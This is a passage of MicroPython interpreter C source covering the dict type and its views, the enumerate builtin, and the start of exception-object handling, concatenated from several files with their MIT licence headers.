OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/obj.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/builtin.h" #include "py/objtype.h" #define MP_OBJ_IS_DICT_TYPE(o) (MP_OBJ_IS_OBJ(o) && ((mp_obj_base_t*)MP_OBJ_TO_PTR(o))->type->make_new == dict_make_new) STATIC mp_obj_t dict_update(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs); // This is a helper function to iterate through a dictionary. The state of // the iteration is held in *cur and should be initialised with zero for the // first call. Will return NULL when no more elements are available. STATIC mp_map_elem_t *dict_iter_next(mp_obj_dict_t *dict, size_t *cur) { size_t max = dict->map.alloc; mp_map_t *map = &dict->map; for (size_t i = *cur; i < max; i++) { if (MP_MAP_SLOT_IS_FILLED(map, i)) { *cur = i + 1; return &(map->table[i]); } } return NULL; } STATIC void dict_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in); bool first = true; if (!(MICROPY_PY_UJSON && kind == PRINT_JSON)) { kind = PRINT_REPR; } if (MICROPY_PY_COLLECTIONS_ORDEREDDICT && self->base.type != &mp_type_dict) { mp_printf(print, "%q(", self->base.type->name); } mp_print_str(print, "{"); size_t cur = 0; mp_map_elem_t *next = NULL; while ((next = dict_iter_next(self, &cur)) != NULL) { if (!first) { mp_print_str(print, ", "); } first = false; mp_obj_print_helper(print, next->key, kind); mp_print_str(print, ": "); mp_obj_print_helper(print, next->value, kind); } mp_print_str(print, "}"); if (MICROPY_PY_COLLECTIONS_ORDEREDDICT && self->base.type != &mp_type_dict) { mp_print_str(print, ")"); } } STATIC mp_obj_t dict_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_obj_t dict_out = mp_obj_new_dict(0); mp_obj_dict_t *dict = MP_OBJ_TO_PTR(dict_out); dict->base.type = type; #if MICROPY_PY_COLLECTIONS_ORDEREDDICT if (type == &mp_type_ordereddict) { dict->map.is_ordered = 1; } #endif if (n_args > 0 || n_kw > 0) { mp_obj_t args2[2] = {dict_out, args[0]}; // args[0] is always valid, even if it's not a positional arg mp_map_t kwargs; mp_map_init_fixed_table(&kwargs, n_kw, args + n_args); dict_update(n_args + 1, args2, &kwargs); // dict_update will check that n_args + 1 == 1 or 2 } return dict_out; } STATIC mp_obj_t dict_unary_op(mp_uint_t op, mp_obj_t self_in) { mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(self->map.used != 0); case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(self->map.used); #if MICROPY_PY_SYS_GETSIZEOF case MP_UNARY_OP_SIZEOF: { size_t sz = sizeof(*self) + sizeof(*self->map.table) * self->map.alloc; return MP_OBJ_NEW_SMALL_INT(sz); } #endif default: return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t dict_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { mp_obj_dict_t *o = MP_OBJ_TO_PTR(lhs_in); switch (op) { case MP_BINARY_OP_IN: { mp_map_elem_t *elem = mp_map_lookup(&o->map, rhs_in, MP_MAP_LOOKUP); return mp_obj_new_bool(elem != NULL); } case MP_BINARY_OP_EQUAL: { #if MICROPY_PY_COLLECTIONS_ORDEREDDICT if (MP_UNLIKELY(MP_OBJ_IS_TYPE(lhs_in, &mp_type_ordereddict) && MP_OBJ_IS_TYPE(rhs_in, &mp_type_ordereddict))) { // Iterate through both dictionaries simultaneously and compare keys and values. mp_obj_dict_t *rhs = MP_OBJ_TO_PTR(rhs_in); size_t c1 = 0, c2 = 0; mp_map_elem_t *e1 = dict_iter_next(o, &c1), *e2 = dict_iter_next(rhs, &c2); for (; e1 != NULL && e2 != NULL; e1 = dict_iter_next(o, &c1), e2 = dict_iter_next(rhs, &c2)) { if (!mp_obj_equal(e1->key, e2->key) || !mp_obj_equal(e1->value, e2->value)) { return mp_const_false; } } return e1 == NULL && e2 == NULL ? mp_const_true : mp_const_false; } else #endif if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_dict)) { mp_obj_dict_t *rhs = MP_OBJ_TO_PTR(rhs_in); if (o->map.used != rhs->map.used) { return mp_const_false; } size_t cur = 0; mp_map_elem_t *next = NULL; while ((next = dict_iter_next(o, &cur)) != NULL) { mp_map_elem_t *elem = mp_map_lookup(&rhs->map, next->key, MP_MAP_LOOKUP); if (elem == NULL || !mp_obj_equal(next->value, elem->value)) { return mp_const_false; } } return mp_const_true; } else { // dict is not equal to instance of any other type return mp_const_false; } } default: // op not supported return MP_OBJ_NULL; } } // TODO: Make sure this is inlined in dict_subscr() below. mp_obj_t mp_obj_dict_get(mp_obj_t self_in, mp_obj_t index) { mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in); mp_map_elem_t *elem = mp_map_lookup(&self->map, index, MP_MAP_LOOKUP); if (elem == NULL) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_KeyError, index)); } else { return elem->value; } } STATIC mp_obj_t dict_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) { if (value == MP_OBJ_NULL) { // delete mp_obj_dict_delete(self_in, index); return mp_const_none; } else if (value == MP_OBJ_SENTINEL) { // load mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in); mp_map_elem_t *elem = mp_map_lookup(&self->map, index, MP_MAP_LOOKUP); if (elem == NULL) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_KeyError, index)); } else { return elem->value; } } else { // store mp_obj_dict_store(self_in, index, value); return mp_const_none; } } /******************************************************************************/ /* dict iterator */ typedef struct _mp_obj_dict_it_t { mp_obj_base_t base; mp_fun_1_t iternext; mp_obj_t dict; size_t cur; } mp_obj_dict_it_t; STATIC mp_obj_t dict_it_iternext(mp_obj_t self_in) { mp_obj_dict_it_t *self = MP_OBJ_TO_PTR(self_in); mp_map_elem_t *next = dict_iter_next(MP_OBJ_TO_PTR(self->dict), &self->cur); if (next == NULL) { return MP_OBJ_STOP_ITERATION; } else { return next->key; } } STATIC mp_obj_t dict_getiter(mp_obj_t self_in, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_dict_it_t) <= sizeof(mp_obj_iter_buf_t)); mp_obj_dict_it_t *o = (mp_obj_dict_it_t*)iter_buf; o->base.type = &mp_type_polymorph_iter; o->iternext = dict_it_iternext; o->dict = self_in; o->cur = 0; return MP_OBJ_FROM_PTR(o); } /******************************************************************************/ /* dict methods */ STATIC mp_obj_t dict_clear(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in)); mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in); mp_map_clear(&self->map); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_clear_obj, dict_clear); STATIC mp_obj_t dict_copy(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in)); mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_t other_out = mp_obj_new_dict(self->map.alloc); mp_obj_dict_t *other = MP_OBJ_TO_PTR(other_out); other->base.type = self->base.type; other->map.used = self->map.used; other->map.all_keys_are_qstrs = self->map.all_keys_are_qstrs; other->map.is_fixed = 0; other->map.is_ordered = self->map.is_ordered; memcpy(other->map.table, self->map.table, self->map.alloc * sizeof(mp_map_elem_t)); return other_out; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_copy_obj, dict_copy); // this is a classmethod STATIC mp_obj_t dict_fromkeys(size_t n_args, const mp_obj_t *args) { mp_obj_t iter = mp_getiter(args[1], NULL); mp_obj_t value = mp_const_none; mp_obj_t next = MP_OBJ_NULL; if (n_args > 2) { value = args[2]; } // optimisation to allocate result based on len of argument mp_obj_t self_out; mp_obj_t len = mp_obj_len_maybe(args[1]); if (len == MP_OBJ_NULL) { /* object's type doesn't have a __len__ slot */ self_out = mp_obj_new_dict(0); } else { self_out = mp_obj_new_dict(MP_OBJ_SMALL_INT_VALUE(len)); } mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_out); while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) { mp_map_lookup(&self->map, next, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = value; } return self_out; } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(dict_fromkeys_fun_obj, 2, 3, dict_fromkeys); STATIC MP_DEFINE_CONST_CLASSMETHOD_OBJ(dict_fromkeys_obj, MP_ROM_PTR(&dict_fromkeys_fun_obj)); STATIC mp_obj_t dict_get_helper(size_t n_args, const mp_obj_t *args, mp_map_lookup_kind_t lookup_kind) { mp_check_self(MP_OBJ_IS_DICT_TYPE(args[0])); mp_obj_dict_t *self = MP_OBJ_TO_PTR(args[0]); mp_map_elem_t *elem = mp_map_lookup(&self->map, args[1], lookup_kind); mp_obj_t value; if (elem == NULL || elem->value == MP_OBJ_NULL) { if (n_args == 2) { if (lookup_kind == MP_MAP_LOOKUP_REMOVE_IF_FOUND) { nlr_raise(mp_obj_new_exception_arg1(&mp_type_KeyError, args[1])); } else { value = mp_const_none; } } else { value = args[2]; } if (lookup_kind == MP_MAP_LOOKUP_ADD_IF_NOT_FOUND) { elem->value = value; } } else { value = elem->value; if (lookup_kind == MP_MAP_LOOKUP_REMOVE_IF_FOUND) { elem->value = MP_OBJ_NULL; // so that GC can collect the deleted value } } return value; } STATIC mp_obj_t dict_get(size_t n_args, const mp_obj_t *args) { return dict_get_helper(n_args, args, MP_MAP_LOOKUP); } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(dict_get_obj, 2, 3, dict_get); STATIC mp_obj_t dict_pop(size_t n_args, const mp_obj_t *args) { return dict_get_helper(n_args, args, MP_MAP_LOOKUP_REMOVE_IF_FOUND); } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(dict_pop_obj, 2, 3, dict_pop); STATIC mp_obj_t dict_setdefault(size_t n_args, const mp_obj_t *args) { return dict_get_helper(n_args, args, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND); } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(dict_setdefault_obj, 2, 3, dict_setdefault); STATIC mp_obj_t dict_popitem(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in)); mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in); size_t cur = 0; mp_map_elem_t *next = dict_iter_next(self, &cur); if (next == NULL) { mp_raise_msg(&mp_type_KeyError, "popitem(): dictionary is empty"); } self->map.used--; mp_obj_t items[] = {next->key, next->value}; next->key = MP_OBJ_SENTINEL; // must mark key as sentinel to indicate that it was deleted next->value = MP_OBJ_NULL; mp_obj_t tuple = mp_obj_new_tuple(2, items); return tuple; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_popitem_obj, dict_popitem); STATIC mp_obj_t dict_update(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs) { mp_check_self(MP_OBJ_IS_DICT_TYPE(args[0])); mp_obj_dict_t *self = MP_OBJ_TO_PTR(args[0]); mp_arg_check_num(n_args, kwargs->used, 1, 2, true); if (n_args == 2) { // given a positional argument if (MP_OBJ_IS_DICT_TYPE(args[1])) { // update from other dictionary (make sure other is not self) if (args[1] != args[0]) { size_t cur = 0; mp_map_elem_t *elem = NULL; while ((elem = dict_iter_next((mp_obj_dict_t*)MP_OBJ_TO_PTR(args[1]), &cur)) != NULL) { mp_map_lookup(&self->map, elem->key, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = elem->value; } } } else { // update from a generic iterable of pairs mp_obj_t iter = mp_getiter(args[1], NULL); mp_obj_t next = MP_OBJ_NULL; while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) { mp_obj_t inneriter = mp_getiter(next, NULL); mp_obj_t key = mp_iternext(inneriter); mp_obj_t value = mp_iternext(inneriter); mp_obj_t stop = mp_iternext(inneriter); if (key == MP_OBJ_STOP_ITERATION || value == MP_OBJ_STOP_ITERATION || stop != MP_OBJ_STOP_ITERATION) { mp_raise_ValueError("dict update sequence has wrong length"); } else { mp_map_lookup(&self->map, key, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = value; } } } } // update the dict with any keyword args for (size_t i = 0; i < kwargs->alloc; i++) { if (MP_MAP_SLOT_IS_FILLED(kwargs, i)) { mp_map_lookup(&self->map, kwargs->table[i].key, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = kwargs->table[i].value; } } return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_KW(dict_update_obj, 1, dict_update); /******************************************************************************/ /* dict views */ STATIC const mp_obj_type_t dict_view_type; STATIC const mp_obj_type_t dict_view_it_type; typedef enum _mp_dict_view_kind_t { MP_DICT_VIEW_ITEMS, MP_DICT_VIEW_KEYS, MP_DICT_VIEW_VALUES, } mp_dict_view_kind_t; STATIC const char *const mp_dict_view_names[] = {"dict_items", "dict_keys", "dict_values"}; typedef struct _mp_obj_dict_view_it_t { mp_obj_base_t base; mp_dict_view_kind_t kind; mp_obj_t dict; size_t cur; } mp_obj_dict_view_it_t; typedef struct _mp_obj_dict_view_t { mp_obj_base_t base; mp_obj_t dict; mp_dict_view_kind_t kind; } mp_obj_dict_view_t; STATIC mp_obj_t dict_view_it_iternext(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &dict_view_it_type)); mp_obj_dict_view_it_t *self = MP_OBJ_TO_PTR(self_in); mp_map_elem_t *next = dict_iter_next(MP_OBJ_TO_PTR(self->dict), &self->cur); if (next == NULL) { return MP_OBJ_STOP_ITERATION; } else { switch (self->kind) { case MP_DICT_VIEW_ITEMS: default: { mp_obj_t items[] = {next->key, next->value}; return mp_obj_new_tuple(2, items); } case MP_DICT_VIEW_KEYS: return next->key; case MP_DICT_VIEW_VALUES: return next->value; } } } STATIC const mp_obj_type_t dict_view_it_type = { { &mp_type_type }, .name = MP_QSTR_iterator, .getiter = mp_identity_getiter, .iternext = dict_view_it_iternext, }; STATIC mp_obj_t dict_view_getiter(mp_obj_t view_in, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_dict_view_it_t) <= sizeof(mp_obj_iter_buf_t)); mp_check_self(MP_OBJ_IS_TYPE(view_in, &dict_view_type)); mp_obj_dict_view_t *view = MP_OBJ_TO_PTR(view_in); mp_obj_dict_view_it_t *o = (mp_obj_dict_view_it_t*)iter_buf; o->base.type = &dict_view_it_type; o->kind = view->kind; o->dict = view->dict; o->cur = 0; return MP_OBJ_FROM_PTR(o); } STATIC void dict_view_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; mp_check_self(MP_OBJ_IS_TYPE(self_in, &dict_view_type)); mp_obj_dict_view_t *self = MP_OBJ_TO_PTR(self_in); bool first = true; mp_print_str(print, mp_dict_view_names[self->kind]); mp_print_str(print, "(["); mp_obj_iter_buf_t iter_buf; mp_obj_t self_iter = dict_view_getiter(self_in, &iter_buf); mp_obj_t next = MP_OBJ_NULL; while ((next = dict_view_it_iternext(self_iter)) != MP_OBJ_STOP_ITERATION) { if (!first) { mp_print_str(print, ", "); } first = false; mp_obj_print_helper(print, next, PRINT_REPR); } mp_print_str(print, "])"); } STATIC mp_obj_t dict_view_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { // only supported for the 'keys' kind until sets and dicts are refactored mp_obj_dict_view_t *o = MP_OBJ_TO_PTR(lhs_in); if (o->kind != MP_DICT_VIEW_KEYS) { return MP_OBJ_NULL; // op not supported } if (op != MP_BINARY_OP_IN) { return MP_OBJ_NULL; // op not supported } return dict_binary_op(op, o->dict, rhs_in); } STATIC const mp_obj_type_t dict_view_type = { { &mp_type_type }, .name = MP_QSTR_dict_view, .print = dict_view_print, .binary_op = dict_view_binary_op, .getiter = dict_view_getiter, }; STATIC mp_obj_t mp_obj_new_dict_view(mp_obj_t dict, mp_dict_view_kind_t kind) { mp_obj_dict_view_t *o = m_new_obj(mp_obj_dict_view_t); o->base.type = &dict_view_type; o->dict = dict; o->kind = kind; return MP_OBJ_FROM_PTR(o); } STATIC mp_obj_t dict_view(mp_obj_t self_in, mp_dict_view_kind_t kind) { mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in)); return mp_obj_new_dict_view(self_in, kind); } STATIC mp_obj_t dict_items(mp_obj_t self_in) { return dict_view(self_in, MP_DICT_VIEW_ITEMS); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_items_obj, dict_items); STATIC mp_obj_t dict_keys(mp_obj_t self_in) { return dict_view(self_in, MP_DICT_VIEW_KEYS); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_keys_obj, dict_keys); STATIC mp_obj_t dict_values(mp_obj_t self_in) { return dict_view(self_in, MP_DICT_VIEW_VALUES); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(dict_values_obj, dict_values); /******************************************************************************/ /* dict constructors & public C API */ STATIC const mp_rom_map_elem_t dict_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_clear), MP_ROM_PTR(&dict_clear_obj) }, { MP_ROM_QSTR(MP_QSTR_copy), MP_ROM_PTR(&dict_copy_obj) }, { MP_ROM_QSTR(MP_QSTR_fromkeys), MP_ROM_PTR(&dict_fromkeys_obj) }, { MP_ROM_QSTR(MP_QSTR_get), MP_ROM_PTR(&dict_get_obj) }, { MP_ROM_QSTR(MP_QSTR_items), MP_ROM_PTR(&dict_items_obj) }, { MP_ROM_QSTR(MP_QSTR_keys), MP_ROM_PTR(&dict_keys_obj) }, { MP_ROM_QSTR(MP_QSTR_pop), MP_ROM_PTR(&dict_pop_obj) }, { MP_ROM_QSTR(MP_QSTR_popitem), MP_ROM_PTR(&dict_popitem_obj) }, { MP_ROM_QSTR(MP_QSTR_setdefault), MP_ROM_PTR(&dict_setdefault_obj) }, { MP_ROM_QSTR(MP_QSTR_update), MP_ROM_PTR(&dict_update_obj) }, { MP_ROM_QSTR(MP_QSTR_values), MP_ROM_PTR(&dict_values_obj) }, { MP_ROM_QSTR(MP_QSTR___getitem__), MP_ROM_PTR(&mp_op_getitem_obj) }, { MP_ROM_QSTR(MP_QSTR___setitem__), MP_ROM_PTR(&mp_op_setitem_obj) }, { MP_ROM_QSTR(MP_QSTR___delitem__), MP_ROM_PTR(&mp_op_delitem_obj) }, }; STATIC MP_DEFINE_CONST_DICT(dict_locals_dict, dict_locals_dict_table); const mp_obj_type_t mp_type_dict = { { &mp_type_type }, .name = MP_QSTR_dict, .print = dict_print, .make_new = dict_make_new, .unary_op = dict_unary_op, .binary_op = dict_binary_op, .subscr = dict_subscr, .getiter = dict_getiter, .locals_dict = (mp_obj_dict_t*)&dict_locals_dict, }; #if MICROPY_PY_COLLECTIONS_ORDEREDDICT const mp_obj_type_t mp_type_ordereddict = { { &mp_type_type }, .name = MP_QSTR_OrderedDict, .print = dict_print, .make_new = dict_make_new, .unary_op = dict_unary_op, .binary_op = dict_binary_op, .subscr = dict_subscr, .getiter = dict_getiter, .parent = &mp_type_dict, .locals_dict = (mp_obj_dict_t*)&dict_locals_dict, }; #endif void mp_obj_dict_init(mp_obj_dict_t *dict, size_t n_args) { dict->base.type = &mp_type_dict; mp_map_init(&dict->map, n_args); } mp_obj_t mp_obj_new_dict(size_t n_args) { mp_obj_dict_t *o = m_new_obj(mp_obj_dict_t); mp_obj_dict_init(o, n_args); return MP_OBJ_FROM_PTR(o); } size_t mp_obj_dict_len(mp_obj_t self_in) { mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in); return self->map.used; } mp_obj_t mp_obj_dict_store(mp_obj_t self_in, mp_obj_t key, mp_obj_t value) { mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in)); mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in); mp_map_lookup(&self->map, key, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = value; return self_in; } mp_obj_t mp_obj_dict_delete(mp_obj_t self_in, mp_obj_t key) { mp_obj_t args[2] = {self_in, key}; dict_get_helper(2, args, MP_MAP_LOOKUP_REMOVE_IF_FOUND); return self_in; } mp_map_t *mp_obj_dict_get_map(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_DICT_TYPE(self_in)); mp_obj_dict_t *self = MP_OBJ_TO_PTR(self_in); return &self->map; } ================================================ FILE: micropython/source/py/objenumerate.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/runtime.h" #if MICROPY_PY_BUILTINS_ENUMERATE typedef struct _mp_obj_enumerate_t { mp_obj_base_t base; mp_obj_t iter; mp_int_t cur; } mp_obj_enumerate_t; STATIC mp_obj_t enumerate_iternext(mp_obj_t self_in); STATIC mp_obj_t enumerate_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { #if MICROPY_CPYTHON_COMPAT static const mp_arg_t allowed_args[] = { { MP_QSTR_iterable, MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} }, { MP_QSTR_start, MP_ARG_INT, {.u_int = 0} }, }; // parse args struct { mp_arg_val_t iterable, start; } arg_vals; mp_arg_parse_all_kw_array(n_args, n_kw, args, MP_ARRAY_SIZE(allowed_args), allowed_args, (mp_arg_val_t*)&arg_vals); // create enumerate object mp_obj_enumerate_t *o = m_new_obj(mp_obj_enumerate_t); o->base.type = type; o->iter = mp_getiter(arg_vals.iterable.u_obj, NULL); o->cur = arg_vals.start.u_int; #else (void)n_kw; mp_obj_enumerate_t *o = m_new_obj(mp_obj_enumerate_t); o->base.type = type; o->iter = mp_getiter(args[0], NULL); o->cur = n_args > 1 ? mp_obj_get_int(args[1]) : 0; #endif return MP_OBJ_FROM_PTR(o); } const mp_obj_type_t mp_type_enumerate = { { &mp_type_type }, .name = MP_QSTR_enumerate, .make_new = enumerate_make_new, .iternext = enumerate_iternext, .getiter = mp_identity_getiter, }; STATIC mp_obj_t enumerate_iternext(mp_obj_t self_in) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_enumerate)); mp_obj_enumerate_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_t next = mp_iternext(self->iter); if (next == MP_OBJ_STOP_ITERATION) { return MP_OBJ_STOP_ITERATION; } else { mp_obj_t items[] = {MP_OBJ_NEW_SMALL_INT(self->cur++), next}; return mp_obj_new_tuple(2, items); } } #endif // MICROPY_PY_BUILTINS_ENUMERATE ================================================ FILE: micropython/source/py/objexcept.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/mpstate.h" #include "py/objlist.h" #include "py/objstr.h" #include "py/objtuple.h" #include "py/objtype.h" #include "py/runtime.h" #include "py/gc.h" #include "py/mperrno.h" // Instance of MemoryError exception - needed by mp_malloc_fail const mp_obj_exception_t mp_const_MemoryError_obj = {{&mp_type_MemoryError}, 0, 0, NULL, (mp_obj_tuple_t*)&mp_const_empty_tuple_obj}; // Optionally allocated buffer for storing the first argument of an exception // allocated when the heap is locked. #if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF # if MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE > 0 #define mp_emergency_exception_buf_size MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE void mp_init_emergency_exception_buf(void) { // Nothing to do since the buffer was declared statically. We put this // definition here so that the calling code can call this function // regardless of how its configured (makes the calling code a bit cleaner). } #else #define mp_emergency_exception_buf_size MP_STATE_VM(mp_emergency_exception_buf_size) void mp_init_emergency_exception_buf(void) { mp_emergency_exception_buf_size = 0; MP_STATE_VM(mp_emergency_exception_buf) = NULL; } mp_obj_t mp_alloc_emergency_exception_buf(mp_obj_t size_in) { mp_int_t size = mp_obj_get_int(size_in); void *buf = NULL; if (size > 0) { buf = m_new(byte, size); } int old_size = mp_emergency_exception_buf_size; void *old_buf = MP_STATE_VM(mp_emergency_exception_buf); // Update the 2 variables atomically so that an interrupt can't occur // between the assignments. mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION(); mp_emergency_exception_buf_size = size; MP_STATE_VM(mp_emergency_exception_buf) = buf; MICROPY_END_ATOMIC_SECTION(atomic_state); if (old_buf != NULL) { m_del(byte, old_buf, old_size); } return mp_const_none; } #endif #endif // MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF // Instance of GeneratorExit exception - needed by generator.close() // This would belong to objgenerator.c, but to keep mp_obj_exception_t // definition module-private so far, have it here. const mp_obj_exception_t mp_const_GeneratorExit_obj = {{&mp_type_GeneratorExit}, 0, 0, NULL, (mp_obj_tuple_t*)&mp_const_empty_tuple_obj}; STATIC void mp_obj_exception_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { mp_obj_exception_t *o = MP_OBJ_TO_PTR(o_in); mp_print_kind_t k = kind & ~PRINT_EXC_SUBCLASS; bool is_subclass = kind & PRINT_EXC_SUBCLASS; if (!is_subclass && (k == PRINT_REPR || k == PRINT_EXC)) { mp_print_str(print, qstr_str(o->base.type->name)); } if (k == PRINT_EXC) { mp_print_str(print, ": "); } if (k == PRINT_STR || k == PRINT_EXC) { if (o->args == NULL || o->args->len == 0) { mp_print_str(print, ""); return; } else if (o->args->len == 1) { #if MICROPY_PY_UERRNO // try to provide a nice OSError error message if (o->base.type == &mp_type_OSError && MP_OBJ_IS_SMALL_INT(o->args->items[0])) { qstr qst = mp_errno_to_str(o->args->items[0]); if (qst != MP_QSTR_NULL) { mp_printf(print, "[Errno %d] %q", MP_OBJ_SMALL_INT_VALUE(o->args->items[0]), qst); return; } } #endif mp_obj_print_helper(print, o->args->items[0], PRINT_STR); return; } } mp_obj_tuple_print(print, MP_OBJ_FROM_PTR(o->args), kind); } mp_obj_t mp_obj_exception_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_arg_check_num(n_args, n_kw, 0, MP_OBJ_FUN_ARGS_MAX, false); mp_obj_exception_t *o = m_new_obj_var_maybe(mp_obj_exception_t, mp_obj_t, 0); if (o == NULL) { // Couldn't allocate heap memory; use local data instead. o = &MP_STATE_VM(mp_emergency_exception_obj); // We can't store any args. o->args = (mp_obj_tuple_t*)&mp_const_empty_tuple_obj; } else { o->args = MP_OBJ_TO_PTR(mp_obj_new_tuple(n_args, args)); } o->base.type = type; o->traceback_data = NULL; return MP_OBJ_FROM_PTR(o); } // Get exception "value" - that is, first argument, or None mp_obj_t mp_obj_exception_get_value(mp_obj_t self_in) { mp_obj_exception_t *self = MP_OBJ_TO_PTR(self_in); if (self->args->len == 0) { return mp_const_none; } else { return self->args->items[0]; } } STATIC void exception_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { mp_obj_exception_t *self = MP_OBJ_TO_PTR(self_in); if (dest[0] != MP_OBJ_NULL) { // store/delete attribute if (attr == MP_QSTR___traceback__ && dest[1] == mp_const_none) { // We allow 'exc.__traceback__ = None' assignment as low-level // optimization of pre-allocating exception instance and raising // it repeatedly - this avoids memory allocation during raise. // However, uPy will keep adding traceback entries to such // exception instance, so before throwing it, traceback should // be cleared like above. self->traceback_len = 0; dest[0] = MP_OBJ_NULL; // indicate success } return; } if (attr == MP_QSTR_args) { dest[0] = MP_OBJ_FROM_PTR(self->args); } else if (self->base.type == &mp_type_StopIteration && attr == MP_QSTR_value) { dest[0] = mp_obj_exception_get_value(self_in); } } STATIC mp_obj_t exc___init__(size_t n_args, const mp_obj_t *args) { mp_obj_exception_t *self = MP_OBJ_TO_PTR(args[0]); mp_obj_t argst = 